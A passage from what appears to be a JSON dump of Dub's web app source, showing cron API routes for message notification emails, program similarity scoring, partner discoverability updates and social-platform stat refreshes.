\"a message\" : `${unreadMessages.length} messages`}`,\n        variant: \"notifications\",\n        to: email,\n        replyTo: program.supportEmail || \"noreply\",\n        react: NewMessageFromProgram({\n          program: {\n            name: program.name,\n            logo: program.logo,\n            slug: program.slug,\n          },\n          // can potentially replace this with `.toReversed()` once it's more widely supported\n          messages: [...unreadMessages].reverse().map((message) => ({\n            text: message.text,\n            createdAt: message.createdAt,\n            user: message.senderUser.name\n              ? {\n                  name: message.senderUser.name,\n                  image: message.senderUser.image,\n                }\n              : {\n                  name: program.name,\n                  image: program.logo,\n                },\n          })),\n          email,\n        }),\n        tags: [{ name: \"type\", value: \"notification-email\" }],\n      })),\n    );\n\n    if (error)\n      throw new Error(\n        `Error sending message emails to partner ${partnerId}: ${error.message}`,\n      );\n\n    if (!data)\n      throw new Error(\n        `No data received from sending message emails to partner ${partnerId}`,\n      );\n\n    await prisma.notificationEmail.createMany({\n      data: partnerUsersToNotify.map(({ id: userId }, idx) => ({\n        id: createId({ prefix: \"em_\" }),\n        type: NotificationEmailType.Message,\n        emailId: data.data[idx].id,\n        messageId: lastMessageId,\n        programId,\n        partnerId,\n        recipientUserId: userId,\n      })),\n    });\n\n    return logAndRespond(\n      `Emails sent for messages from program ${programId} to partner ${partnerId}.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error notifying partner of new messages: ${error.message}`,\n      type: \"alerts\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/messages/notify-program/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport NewMessageFromPartner from \"@dub/email/templates/new-message-from-partner\";\nimport { prisma } from \"@dub/prisma\";\nimport { NotificationEmailType } from \"@dub/prisma/client\";\nimport { log } from \"@dub/utils\";\nimport { subDays } from \"date-fns\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  programId: z.string(),\n  partnerId: z.string(),\n  lastMessageId: z.string(),\n});\n\n// POST /api/cron/messages/notify-program\n// Notify a program about unread messages from a partner\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { programId, partnerId, lastMessageId } = schema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const [program, partner] = await Promise.all([\n      prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n        include: {\n          messages: {\n            where: {\n              partnerId,\n              senderPartnerId: {\n                not: null, // Sent by the partner\n              },\n              createdAt: {\n                gt: subDays(new Date(), 3), // Sent in the last 3 days\n              },\n              readInApp: null, // Unread\n              readInEmail: null, // Unread\n            },\n            orderBy: {\n              createdAt: \"desc\",\n            },\n            include: {\n              senderPartner: true,\n            },\n          },\n          workspace: {\n            include: {\n              users: {\n                include: {\n                  user: true,\n                },\n                where: {\n                  notificationPreference: {\n                    newMessageFromPartner: true,\n                  },\n                },\n              },\n            },\n          },\n        },\n      }),\n      prisma.partner.findUniqueOrThrow({\n        where: {\n          id: partnerId,\n        },\n      }),\n    ]);\n\n    const unreadMessages = program.messages;\n\n    // unread messages are already sorted by latest message first\n    if (unreadMessages.length === 0)\n      return logAndRespond(\n        `No unread messages found from partner ${partnerId} in program ${programId}. Skipping...`,\n      );\n\n    // if the latest unread message is not the last message id, skip\n    if (unreadMessages[0].id !== lastMessageId)\n      return logAndRespond(\n        `There is a more recent unread message than ${lastMessageId}. Skipping...`,\n      );\n\n    const usersToNotify = program.workspace.users\n      .map(({ user }) => user)\n      .filter(Boolean) as { email: string; id: string }[];\n\n    if (usersToNotify.length === 0)\n      return logAndRespond(\n        `No program user emails to notify from partner ${partnerId}. Skipping...`,\n      );\n\n    const { data, error } = await sendBatchEmail(\n      usersToNotify.map(({ email }) => ({\n        subject: `${unreadMessages.length === 1 ? \"New message from\" : `${unreadMessages.length} new messages from`} ${partner.name}`,\n        variant: \"notifications\",\n        to: email,\n        react: NewMessageFromPartner({\n          workspaceSlug: program.workspace.slug,\n          partner: {\n            id: partner.id,\n            name: partner.name,\n            image: partner.image,\n          },\n          // can potentially replace this with `.toReversed()` once it's more widely supported\n          messages: [...unreadMessages].reverse().map((message) => ({\n            text: message.text,\n            createdAt: message.createdAt,\n          })),\n          email,\n        }),\n        tags: [{ name: \"type\", value: \"notification-email\" }],\n      })),\n    );\n\n    if (error)\n      throw new Error(\n        `Error sending message emails to program ${programId} users: ${error.message}`,\n      );\n\n    if (!data)\n      throw new Error(\n        `No data received from sending message emails to program ${programId} users`,\n      );\n\n    await prisma.notificationEmail.createMany({\n      data: usersToNotify.map(({ id: userId }, idx) => ({\n        id: createId({ prefix: \"em_\" }),\n        type: NotificationEmailType.Message,\n        emailId: data.data[idx].id,\n        messageId: lastMessageId,\n        programId,\n        partnerId,\n        recipientUserId: userId,\n      })),\n    });\n\n    return logAndRespond(\n      `Emails sent for messages from partner ${partnerId} to program ${programId} users.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error notifying program users of new messages: ${error.message}`,\n      type: \"alerts\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/network/calculate-program-similarities/calculate-category-similarity.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\n// Calculate category similarity using Jaccard similarity\nexport async function calculateCategorySimilarity(\n  program1Id: string,\n  program2Id: string,\n): Promise<number> {\n  const [categories1, categories2] = await Promise.all([\n    prisma.programCategory.findMany({\n      where: {\n        programId: program1Id,\n      },\n      select: {\n        category: true,\n      },\n    }),\n\n    prisma.programCategory.findMany({\n      where: {\n        programId: program2Id,\n      },\n      select: {\n        category: true,\n      },\n    }),\n  ]);\n\n  const categories1Set = new Set(categories1.map(({ category }) => category));\n  const categories2Set = new Set(categories2.map(({ category }) => category));\n\n  const sharedCount = [...categories1Set].filter((c) =>\n    categories2Set.has(c),\n  ).length;\n\n  const totalUniqueCount =\n    categories1Set.size + categories2Set.size - sharedCount;\n\n  if (totalUniqueCount === 0) {\n    return 0;\n  }\n\n  return sharedCount / totalUniqueCount;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/network/calculate-program-similarities/calculate-partner-similarity.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\ninterface PartnerSimilarityResult {\n  sharedPartnersCount: bigint;\n  program1PartnersCount: bigint;\n  program2PartnersCount: bigint;\n}\n\n// Calculate partner similarity using Jaccard similarity\nexport async function calculatePartnerSimilarity(\n  program1Id: string,\n  program2Id: string,\n): Promise<number> {\n  const [result] = await prisma.$queryRaw<PartnerSimilarityResult[]>`\n    SELECT \n      COUNT(DISTINCT CASE WHEN e1.partnerId IS NOT NULL AND e2.partnerId IS NOT NULL THEN e1.partnerId END) AS sharedPartnersCount,\n      (SELECT COUNT(*) FROM ProgramEnrollment WHERE programId = ${program1Id}) AS program1PartnersCount,\n      (SELECT COUNT(*) FROM ProgramEnrollment WHERE programId = ${program2Id}) AS program2PartnersCount\n    FROM\n      ProgramEnrollment e1\n    JOIN\n      ProgramEnrollment e2 ON e1.partnerId = e2.partnerId\n    WHERE\n      e1.programId = ${program1Id} AND e2.programId = ${program2Id}\n  `;\n\n  const { sharedPartnersCount, program1PartnersCount, program2PartnersCount } =\n    result ?? {\n      sharedPartnersCount: BigInt(0),\n      program1PartnersCount: BigInt(0),\n      program2PartnersCount: BigInt(0),\n    };\n\n  const unionCount =\n    Number(program1PartnersCount) +\n    Number(program2PartnersCount) -\n    Number(sharedPartnersCount);\n\n  if (unionCount === 0) {\n    return 0;\n  }\n\n  return Number(sharedPartnersCount) / unionCount;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/network/calculate-program-similarities/calculate-performance-similarity.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\nconst METRIC_KEYS = [\n  \"totalClicks\",\n  \"totalLeads\",\n  \"totalConversions\",\n  \"totalSales\",\n  \"totalSaleAmount\",\n] as const;\n\n// Calculate performance similarity using Cosine similarity\nexport async function calculatePerformanceSimilarity(\n  program1Id: string,\n  program2Id: string,\n): Promise<number> {\n  const [performance1, performance2] = await Promise.all([\n    prisma.programEnrollment.aggregate({\n      where: {\n        programId: program1Id,\n      },\n      _avg: {\n        totalClicks: true,\n        totalLeads: true,\n        totalSales: true,\n        totalConversions: true,\n        totalSaleAmount: true,\n      },\n    }),\n\n    prisma.programEnrollment.aggregate({\n      where: {\n        programId: program2Id,\n      },\n      _avg: {\n        totalClicks: true,\n        totalLeads: true,\n        totalSales: true,\n        totalConversions: true,\n        totalSaleAmount: true,\n      },\n    }),\n  ]);\n\n  const program1Vector = METRIC_KEYS.map((key) => performance1._avg[key] ?? 0);\n  const program2Vector = METRIC_KEYS.map((key) => performance2._avg[key] ?? 0);\n\n  const dotProduct = program1Vector.reduce(\n    (sum, val, i) => sum + val * program2Vector[i],\n    0,\n  );\n\n  const magnitude1 = Math.sqrt(\n    program1Vector.reduce((sum, val) => sum + val ** 2, 0),\n  );\n\n  const magnitude2 = Math.sqrt(\n    program2Vector.reduce((sum, val) => sum + val ** 2, 0),\n  );\n\n  if (magnitude1 === 0 || magnitude2 === 0) {\n    return 0;\n  }\n\n  return dotProduct / (magnitude1 * magnitude2);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/network/calculate-program-similarities/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { PROGRAM_SIMILARITY_SCORE_THRESHOLD } from \"@/lib/constants/program\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { ProgramSimilarity } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nimport { calculateCategorySimilarity } from \"./calculate-category-similarity\";\nimport { calculatePartnerSimilarity } from \"./calculate-partner-similarity\";\nimport { calculatePerformanceSimilarity } from \"./calculate-performance-similarity\";\n\nconst payloadSchema = z.object({\n  currentProgramId: z\n    .string()\n    .optional()\n    .describe(\"Current program being compared.\"),\n  comparisonBatchCursor: z\n    .string()\n    .optional()\n    .describe(\"Cursor for programs to compare against.\"),\n});\n\nconst PROGRAMS_PER_BATCH = 10;\n\n// This route is used to calculate program similarities in the network\n// Runs once every 12 hours (0 */12 * * *)\n// POST /api/cron/network/calculate-program-similarities\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { currentProgramId, comparisonBatchCursor } = payloadSchema.parse(\n      JSON.parse(rawBody),\n    );\n\n    return await calculateProgramSimilarity({\n      currentProgramId,\n      comparisonBatchCursor,\n    });\n  } catch (err) {\n    return handleAndReturnErrorResponse(err);\n  }\n}\n\nasync function calculateProgramSimilarity({\n  currentProgramId,\n  comparisonBatchCursor,\n}: z.infer<typeof payloadSchema>) {\n  const currentProgram = await findNextProgram({\n    programId: currentProgramId,\n  });\n\n  if (!currentProgram) {\n    return logAndRespond(\"No current program found. Skipping...\");\n  }\n\n  const programs = await prisma.program.findMany({\n    where: {\n      id: {\n        gt: currentProgram.id,\n      },\n      OR: [\n        {\n          addedToMarketplaceAt: {\n            not: null,\n          },\n        },\n        {\n          partnerNetworkEnabledAt: {\n            not: null,\n          },\n        },\n      ],\n    },\n    ...(comparisonBatchCursor && {\n      cursor: {\n        id: comparisonBatchCursor,\n      },\n    }),\n    skip: comparisonBatchCursor ? 1 : 0,\n    orderBy: {\n      id: \"asc\",\n    },\n    take: PROGRAMS_PER_BATCH,\n    select: {\n      id: true,\n      name: true,\n    },\n  });\n\n  console.log(\n    `Found ${programs.length} programs to compare against ${currentProgram.name}`,\n  );\n\n  if (programs.length > 0) {\n    const results: Pick<\n      ProgramSimilarity,\n      | \"programId\"\n      | \"similarProgramId\"\n      | \"similarityScore\"\n      | \"categorySimilarityScore\"\n      | \"partnerSimilarityScore\"\n      | \"performanceSimilarityScore\"\n    >[] = [];\n\n    for (const program of programs) {\n      const program1 = currentProgram;\n      const program2 = program;\n\n      if (program1.id === program2.id) {\n        continue;\n      }\n\n      const [\n        categorySimilarityScore,\n        partnerSimilarityScore,\n        performanceSimilarityScore,\n      ] = await Promise.all([\n        calculateCategorySimilarity(program1.id, program2.id),\n        calculatePartnerSimilarity(program1.id, program2.id),\n        calculatePerformanceSimilarity(program1.id, program2.id),\n      ]);\n\n      const similarityScore =\n        categorySimilarityScore * 0.5 +\n        partnerSimilarityScore * 0.3 +\n        performanceSimilarityScore * 0.2;\n\n      console.log(\n        `Calculated similarities between ${program1.name} <> ${program2.name}`,\n        {\n          categorySimilarityScore,\n          partnerSimilarityScore,\n          performanceSimilarityScore,\n          similarityScore,\n        },\n      );\n\n      if (similarityScore > PROGRAM_SIMILARITY_SCORE_THRESHOLD) {\n        results.push({\n          programId: program1.id,\n          similarProgramId: program2.id,\n          similarityScore,\n          categorySimilarityScore,\n          partnerSimilarityScore,\n          performanceSimilarityScore,\n        });\n\n        results.push({\n          programId: program2.id,\n          similarProgramId: program1.id,\n          similarityScore,\n          categorySimilarityScore,\n          partnerSimilarityScore,\n          performanceSimilarityScore,\n        });\n      }\n    }\n\n    await prisma.$transaction(async (tx) => {\n      const programIds = programs.map((program) => program.id);\n\n      await tx.programSimilarity.deleteMany({\n        where: {\n          programId: {\n            in: programIds,\n          },\n        },\n      });\n\n      await tx.programSimilarity.createMany({\n        data: results,\n        skipDuplicates: true,\n      });\n    });\n  }\n\n  // If we have more programs to compare against the current program, continue with the next batch\n  // Otherwise, move to the next current program and start comparing from the beginning\n  if (programs.length === PROGRAMS_PER_BATCH) {\n    currentProgramId = currentProgram.id;\n    comparisonBatchCursor = programs[programs.length - 1].id;\n  } else {\n    const program = await findNextProgram({\n      afterProgramId: currentProgramId,\n    });\n\n    if (!program) {\n      return logAndRespond(\"No more programs to compare.\");\n    }\n\n    currentProgramId = program.id;\n    comparisonBatchCursor = undefined;\n  }\n\n  await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/network/calculate-program-similarities`,\n    method: \"POST\",\n    body: {\n      currentProgramId,\n      comparisonBatchCursor,\n    },\n  });\n\n  return logAndRespond(\"Scheduled next batch calculation.\");\n}\n\nasync function findNextProgram({\n  programId,\n  afterProgramId,\n}: {\n  programId?: string;\n  afterProgramId?: string;\n}) {\n  // If a specific programId is provided, find that program\n  if (programId) {\n    return await prisma.program.findUnique({\n      where: {\n        id: programId,\n      },\n      select: {\n        id: true,\n        name: true,\n      },\n    });\n  }\n\n  // Otherwise, find the first/next program\n  return await prisma.program.findFirst({\n    where: {\n      ...(afterProgramId && {\n        id: {\n          gt: afterProgramId,\n        },\n      }),\n      OR: [\n        {\n          addedToMarketplaceAt: {\n            not: null,\n          },\n        },\n        {\n          partnerNetworkEnabledAt: {\n            not: null,\n          },\n        },\n      ],\n    },\n    select: {\n      id: true,\n      name: true,\n    },\n    orderBy: {\n      id: \"asc\",\n    },\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/network/update-partner-discoverability/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { EXCLUDED_PROGRAM_IDS } from \"@/lib/constants/partner-profile\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { log, prettyPrint } from \"@dub/utils\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\n// This route is used to update the discoverability of partners in the network\n// Runs once every hour (0 * * * *)\n// POST /api/cron/network/update-partner-discoverability\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const eligiblePartners = await prisma.partner.findMany({\n      where: {\n        programs: {\n          some: {\n            programId: {\n              notIn: EXCLUDED_PROGRAM_IDS,\n            },\n            status: \"approved\",\n            totalCommissions: {\n              gte: 10_00,\n            },\n          },\n          none: {\n            status: \"banned\",\n          },\n        },\n      },\n    });\n\n    const discoveredRes = await prisma.partner.updateMany({\n      where: {\n        discoverableAt: null,\n        id: {\n          in: eligiblePartners.map((partner) => partner.id),\n        },\n      },\n      data: { discoverableAt: new Date() },\n    });\n    console.log(`Updated ${discoveredRes.count} partners to be discoverable`);\n\n    const notDiscoveredRes = await prisma.partner.updateMany({\n      where: {\n        discoverableAt: {\n          not: null,\n        },\n        id: {\n          notIn: eligiblePartners.map((partner) => partner.id),\n        },\n      },\n      data: { discoverableAt: null },\n    });\n\n    console.log(\n      `Updated ${notDiscoveredRes.count} partners to be not discoverable`,\n    );\n\n    return logAndRespond(\n      prettyPrint({\n        discoverable: discoveredRes.count,\n        notDiscoverable: notDiscoveredRes.count,\n      }),\n    );\n  } catch (error) {\n    await log({\n      message: `/api/cron/network/update-partner-discoverability failed - ${error.message}`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partner-platforms/route.ts",
    "content": "import {\n  AccountNotFoundError,\n  getSocialProfile,\n} from \"@/lib/api/scrape-creators/get-social-profile\";\nimport { qstash } from \"@/lib/cron\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { subDays } from \"date-fns\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst BATCH_SIZE = 50;\n\nconst schema = z.object({\n  startingAfter: z.string().optional(),\n});\n\n/**\n * This route is used to update stats for verified Instagram, TikTok, and Twitter partners using the ScrapeCreators API\n * Runs once a day at 06:00 AM UTC (cron expression: 0 6 * * *)\n * POST /api/cron/partner-platforms\n */\nexport const POST = withCron(async ({ rawBody }) => {\n  if (!process.env.SCRAPECREATORS_API_KEY) {\n    throw new Error(\"SCRAPECREATORS_API_KEY is not defined\");\n  }\n\n  let { startingAfter } = schema.parse(\n    rawBody ? JSON.parse(rawBody) : { startingAfter: undefined },\n  );\n\n  const verifiedProfiles = await prisma.partnerPlatform.findMany({\n    where: {\n      type: {\n        in: [\"instagram\", \"tiktok\", \"twitter\"],\n      },\n      verifiedAt: {\n        not: null,\n      },\n      // only check platforms that haven't been checked in the last 7 days\n      OR: [\n        {\n          lastCheckedAt: {\n            lt: subDays(new Date(), 7),\n          },\n        },\n        {\n          lastCheckedAt: null,\n        },\n      ],\n      // only check partners that are discoverable in the partner network\n      partner: {\n        discoverableAt: {\n          not: null,\n        },\n      },\n    },\n    take: BATCH_SIZE,\n    ...(startingAfter && {\n      cursor: {\n        id: startingAfter,\n      },\n      skip: 1,\n    }),\n    orderBy: {\n      id: \"asc\",\n    },\n  });\n\n  if (verifiedProfiles.length === 0) {\n    return logAndRespond(\n      \"No more verified social profiles found. Finished updating social platform stats.\",\n    );\n  }\n\n  await Promise.allSettled(\n    verifiedProfiles.map(async (verifiedProfile) => {\n      if (!verifiedProfile.identifier || !verifiedProfile.type) {\n        return;\n      }\n\n      try {\n        const socialProfile = await getSocialProfile({\n          platform: verifiedProfile.type,\n          handle: verifiedProfile.identifier,\n        });\n\n        const newStats = {\n          subscribers: socialProfile.subscribers,\n          posts: socialProfile.posts,\n          avatarUrl: socialProfile.avatarUrl,\n        };\n\n        await prisma.partnerPlatform.update({\n          where: {\n            id: verifiedProfile.id,\n          },\n          data: {\n            ...newStats,\n            lastCheckedAt: new Date(),\n          },\n        });\n\n        console.log(\n          `Updated ${verifiedProfile.type} stats for @${verifiedProfile.identifier}`,\n          newStats,\n        );\n      } catch (error) {\n        // If account doesn't exist, unverify the platform\n        if (error instanceof AccountNotFoundError) {\n          await prisma.partnerPlatform.update({\n            where: {\n              id: verifiedProfile.id,\n            },\n            data: {\n              verifiedAt: null,\n              lastCheckedAt: new Date(),\n            },\n          });\n\n          console.log(\n            `Account @${verifiedProfile.identifier} on ${verifiedProfile.type} no longer exists. Unverified platform.`,\n          );\n          return;\n        }\n\n        console.error(\n          `Error updating ${verifiedProfile.type} stats for @${verifiedProfile.identifier}:`,\n          error,\n        );\n      }\n    }),\n  );\n\n  if (verifiedProfiles.length === BATCH_SIZE) {\n    startingAfter = verifiedProfiles[verifiedProfiles.length - 1].id;\n\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partner-platforms`,\n      method: \"POST\",\n      body: {\n        startingAfter,\n      },\n    });\n\n    return logAndRespond(\n      `Processed ${BATCH_SIZE} profiles. Scheduled next batch (startingAfter: ${startingAfter}).`,\n    );\n  }\n\n  return logAndRespond(\n    \"Finished updating social platform stats for all verified profiles.\",\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partner-platforms/youtube/route.ts",
    "content": "import { withCron } from \"@/lib/cron/with-cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport { chunk } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nimport { youtubeChannelSchema } from \"./youtube-channel-schema\";\n\nexport const dynamic = \"force-dynamic\";\n\n/**\n * This route is used to update stats for YouTube verified partners using the YouTube API\n * Runs once a day at 06:00 AM UTC (cron expression: 0 6 * * *)\n * POST /api/cron/partner-platforms/youtube\n */\nexport const POST = withCron(async () => {\n  if (!process.env.YOUTUBE_API_KEY) {\n    throw new Error(\"YOUTUBE_API_KEY is not defined\");\n  }\n\n  const youtubeChannels = await prisma.partnerPlatform.findMany({\n    where: {\n      type: PlatformType.youtube,\n      verifiedAt: {\n        not: null,\n      },\n      platformId: {\n        not: null,\n      },\n    },\n  });\n\n  if (youtubeChannels.length === 0) {\n    return logAndRespond(\n      \"No YouTube platforms found. Skipping YouTube stats update.\",\n    );\n  }\n\n  const channelChunks = chunk(youtubeChannels, 50);\n\n  for (const channelChunk of channelChunks) {\n    const channelIds = channelChunk.map((channel) => channel.platformId);\n\n    if (channelIds.length === 0) {\n      continue;\n    }\n\n    const response = await fetch(\n      `https://www.googleapis.com/youtube/v3/channels?part=statistics,snippet&id=${channelIds.join(\",\")}`,\n      {\n        headers: {\n          \"X-Goog-Api-Key\": process.env.YOUTUBE_API_KEY,\n        },\n      },\n    );\n\n    if (!response.ok) {\n      console.error(\"Failed to fetch YouTube data:\", await response.text());\n      continue;\n    }\n\n    const data = await response.json().then((r) => r.items);\n    const channels = z.array(youtubeChannelSchema).parse(data);\n\n    const updateChunks = chunk(channels, 10);\n\n    for (const updateChunk of updateChunks) {\n      await Promise.all(\n        updateChunk.map(async (channel) => {\n          const partnerPlatform = channelChunk.find(\n            (p) => p.platformId === channel.id,\n          );\n\n          if (!partnerPlatform) {\n            return;\n          }\n\n          const newStats = {\n            subscribers: channel.statistics.subscriberCount,\n            posts: channel.statistics.videoCount,\n            views: channel.statistics.viewCount,\n            avatarUrl: channel.snippet?.thumbnails?.default?.url,\n            ...(channel.snippet?.customUrl && {\n              identifier: channel.snippet.customUrl.replace(\"@\", \"\"),\n            }),\n          };\n\n          await prisma.partnerPlatform.update({\n            where: {\n              id: partnerPlatform.id,\n            },\n            data: {\n              ...newStats,\n              lastCheckedAt: new Date(),\n            },\n          });\n\n          console.log(\n            `Updated YouTube stats for @${partnerPlatform.identifier}`,\n            newStats,\n          );\n        }),\n      );\n    }\n  }\n\n  return logAndRespond(\n    `YouTube stats updated for ${youtubeChannels.length} partners`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partner-platforms/youtube/youtube-channel-schema.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const youtubeChannelSchema = z.object({\n  id: z.string(),\n  statistics: z.object({\n    videoCount: z.string().transform((val) => parseInt(val, 10)),\n    subscriberCount: z.string().transform((val) => parseInt(val, 10)),\n    viewCount: z.string().transform((val) => parseInt(val, 10)),\n  }),\n  snippet: z\n    .object({\n      customUrl: z.string().nullish(), // YouTube handle (e.g. \"channelname\" for @channelname)\n      thumbnails: z\n        .object({\n          default: z\n            .object({\n              url: z.string(),\n              width: z.number().optional(),\n              height: z.number().optional(),\n            })\n            .optional(),\n        })\n        .optional(),\n    })\n    .optional(),\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partner-program-summary/process/route.ts",
    "content": "import { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { qstash } from \"@/lib/cron\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport PartnerProgramSummary from \"@dub/email/templates/partner-program-summary\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { endOfMonth, format, startOfMonth, subMonths } from \"date-fns\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst PARTNER_BATCH_SIZE = 100;\n\nconst queue = qstash.queue({\n  queueName: \"send-partner-summary\",\n});\n\nconst schema = z.object({\n  programId: z.string(),\n  startingAfter: z.string().nullish(),\n  batchNumber: z.number().nullish(),\n});\n\ninterface AnalyticsResponse {\n  partnerId: string;\n  clicks: number;\n  leads: number;\n  sales: number;\n  saleAmount: number;\n}\n\n// This route processes partner program summary emails for a specific program.\n// Called by the main route after enqueuing jobs for each program.\n// POST /api/cron/partner-program-summary/process\nexport const POST = withCron(async ({ rawBody }) => {\n  const result = schema.parse(JSON.parse(rawBody));\n\n  let { programId, startingAfter, batchNumber } = result;\n\n  const previousMonth = startOfMonth(subMonths(new Date(), 2));\n  const currentMonth = startOfMonth(subMonths(new Date(), 1));\n\n  const program = await prisma.program.findUnique({\n    where: {\n      id: programId,\n    },\n    select: {\n      id: true,\n      name: true,\n      logo: true,\n      slug: true,\n      supportEmail: true,\n      workspaceId: true,\n    },\n  });\n\n  if (!program) {\n    return logAndRespond(`Program ${programId} not found.`);\n  }\n\n  console.info(`Sending program summary for ${program.slug}`, {\n    previousMonth,\n    currentMonth,\n  });\n\n  // Find the clicks, leads, sales analytics\n  const [previousMonthAnalytics, currentMonthAnalytics] = await Promise.all([\n    // 2 months ago\n    getAnalytics({\n      event: \"composite\",\n      groupBy: \"top_partners\",\n      workspaceId: program.workspaceId,\n      programId: program.id,\n      start: previousMonth,\n      end: endOfMonth(previousMonth),\n    }),\n\n    // 1 month ago\n    getAnalytics({\n      event: \"composite\",\n      groupBy: \"top_partners\",\n      workspaceId: program.workspaceId,\n      programId: program.id,\n      start: currentMonth,\n      end: endOfMonth(currentMonth),\n    }),\n  ]);\n\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      programId: program.id,\n      status: \"approved\",\n      partner: {\n        users: {\n          some: {},\n        },\n      },\n      links: {\n        some: {\n          leads: {\n            gt: 0,\n          },\n        },\n      },\n    },\n    select: {\n      id: true,\n      partner: {\n        select: {\n          id: true,\n          email: true,\n          createdAt: true,\n        },\n      },\n      links: {\n        select: {\n          clicks: true,\n          leads: true,\n          sales: true,\n        },\n      },\n    },\n    ...(startingAfter && {\n      skip: 1,\n      cursor: {\n        id: startingAfter,\n      },\n    }),\n    orderBy: {\n      id: \"desc\",\n    },\n    take: PARTNER_BATCH_SIZE,\n  });\n\n  console.info(\n    `Found ${programEnrollments.length} active partners that have signed up for partners.dub.co and have links with at least 1 total lead.`,\n  );\n\n  if (programEnrollments.length === 0) {\n    return logAndRespond(\n      `No more active partners found for program ${program.id}.`,\n    );\n  }\n\n  // Find the earnings\n  const partners = programEnrollments.map(({ partner }) => partner);\n\n  const commissionWhere: Prisma.CommissionWhereInput = {\n    earnings: {\n      gt: 0,\n    },\n    programId: program.id,\n    partnerId: {\n      in: partners.map((partner) => partner.id),\n    },\n    status: {\n      in: [\"pending\", \"processed\", \"paid\"],\n    },\n  };\n\n  const [previousMonthEarnings, currentMonthEarnings, lifetimeEarnings] =\n    await Promise.all([\n      // Earnings 2 months ago (to compare with previous month)\n      prisma.commission.groupBy({\n        by: [\"partnerId\"],\n        where: {\n          ...commissionWhere,\n          createdAt: {\n            gte: previousMonth,\n            lte: endOfMonth(previousMonth),\n          },\n        },\n        _sum: {\n          earnings: true,\n        },\n      }),\n\n      // Earnings 1 month ago,\n      prisma.commission.groupBy({\n        by: [\"partnerId\"],\n        where: {\n          ...commissionWhere,\n          createdAt: {\n            gte: currentMonth,\n            lte: endOfMonth(currentMonth),\n          },\n        },\n        _sum: {\n          earnings: true,\n        },\n      }),\n\n      // All-time earnings\n      prisma.commission.groupBy({\n        by: [\"partnerId\"],\n        where: {\n          ...commissionWhere,\n        },\n        _sum: {\n          earnings: true,\n        },\n      }),\n    ]);\n\n  const previousEarningsMap = new Map(\n    previousMonthEarnings.map((e) => [e.partnerId, e]),\n  );\n\n  const currentEarningsMap = new Map(\n    currentMonthEarnings.map((e) => [e.partnerId, e]),\n  );\n\n  const lifetimeEarningsMap = new Map(\n    lifetimeEarnings.map((e) => [e.partnerId, e]),\n  );\n\n  const previousAnalyticsMap: Map<string, AnalyticsResponse> = new Map(\n    previousMonthAnalytics.map((a: AnalyticsResponse) => [a.partnerId, a]),\n  );\n\n  const currentAnalyticsMap: Map<string, AnalyticsResponse> = new Map(\n    currentMonthAnalytics.map((a: 